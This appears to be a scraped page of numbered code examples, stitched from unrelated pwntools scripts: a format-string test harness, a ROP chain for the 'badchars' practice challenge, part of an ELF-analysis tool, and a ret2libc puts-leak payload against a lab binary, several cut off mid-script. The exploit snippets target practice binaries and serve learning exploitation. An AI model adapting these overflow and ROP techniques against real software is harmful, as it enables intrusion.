            # bp = ["malloc"]

            debug(r, bp, elf)
    exploit(r, elf, libc)
Пример #29
0

def startIt():
    global p
    global fmtStr
    p = process(os.path.join(SCRIPTDIR, fName), buffer_fill_size=0xffff)
    p.recvuntil("Input: ")
    fmtStr = FormatString(exec_fmt, elf=elf)


logging.basicConfig(level=logging.DEBUG)
log = logging.getLogger()

fName = "amd64_echoService"

elf = ELF(os.path.join(SCRIPTDIR, fName))
startIt()


def test_matching():
    assert u32(fmtStr[elf.symbols['myVar']]) == get_myVar()


def test_change_byte_as_int():
    fmtStr.write_b(elf.symbols['myVar'] + 3, 0xbe)
    assert get_myVar() == 0xbeadbeef
    assert fmtStr.leak.d(elf.symbols['myVar']) == get_myVar()


def test_change_word_as_int():
    fmtStr.write_w(elf.symbols['myVar'], 0xf00d)
Пример #30
0
# sub or just plain mov depending on which type of char it is (bad or not)
rop = b"A" * 40
for i in range(0, 8):
    rop += packing.p64(POP_R12_POP_R13_POP_R14_POP_R15_RET
                       )  #gadget to load r12 -> char, r13 -> location in .data
    rop += packing.p64(filename[i])  #letter of filename
    rop += packing.p64(data_section_start + i)  #location in .data
    if i in (2, 3, 4, 6):  #handle chars 'a', 'g', '.'
        rop += packing.p64(0x1)
        rop += packing.p64(data_section_start + i)
        rop += packing.p64(
            MOV_R13_R12)  #dereference r13, writing char to .data
        rop += packing.p64(SUB_R15_R14)
    else:
        rop += packing.p64(0x0)  #r14
        rop += packing.p64(0x0)  #r15
        rop += packing.p64(
            MOV_R13_R12)  #dereference r13, writing char to .data

print('\ncalling print_file...\n')
# call print_file
rop += packing.p64(POP_RDI_RET)
rop += packing.p64(data_section_start)
rop += packing.p64(PRINT_FILE)

e = ELF("badchars")
p = process(e.path)
p.recvuntil("> ")
p.send(rop)
p.interactive()
Пример #31
0
        nargs="*",
        help=
        "show nformation of symbols such as symbol@plt, symbol@got and symbol@libc (-l option is required). This option can get multi arguments."
    )

    # under construction
    # 目標はradare2の劣化版みたいな解析機能
    parser.add_argument("--detail",
                        help="analyze binary for detail information",
                        action="store_true")

    args = parser.parse_args()

    # analyze binary
    # todo: 不要な解析を無視
    elf = ELF(args.elf)  # _write4
    libc = ELF(args.libc) if args.libc else None

    sect = Section(elf)
    functions = Functions(elf)
    plt = elf.plt
    got = elf.got

    # dump simple
    if not args.symbols:
        print("")
        # dump sections
        print("[+]: all sections")
        sect.dump_all_sections()

        print("")
Пример #32
0
#!/usr/bin/env python3
from pwn import ELF, process, context, log
from fastpwn import pack, aslr  # custom library :)
from sys import argv, exit
try:
    if len(argv) > 1 and argv[1] == "-l":
        if aslr.read():
            aslr.write("2")
        context(arch='amd64', os='linux', log_level='DEBUG')  # binary context
        binary = ELF("./lab")  # define our binary
        p = binary.process(env={'LD_PRELOAD': './libc.so.6'
                                })  # start our process and define enviroment

        libc = binary.libc  # name our libc object
        # we can statically find the addresses of the PLT and GOT within the binary
        # just in case you were too lazy to, here is the pwntools way to do it
        #
        # plt_puts=binary.plt['puts']
        # got_puts=binary.got['puts']
        # main_addr=binary.sym['main']

        pop_rdi = pack.pk64(0x00000000004011e3)
        got_puts = pack.pk64(0x00404018)
        plt_puts = pack.pk64(0x00401030)
        main_addr = pack.pk64(0x00401136)
        offset = 40
        leak_payload = b"A" * offset  # overwrite ret addr, main ret back to gadget
        leak_payload += pop_rdi  # next we use a gadget, rdi will be the first parameter
        leak_payload += got_puts  # pass the address of the puts() entry on the global offset table
        leak_payload += plt_puts  # then, call puts(), this will actuall call puts
        leak_payload += main_addr  # ret back to main, since we still want to overwrite the buffer again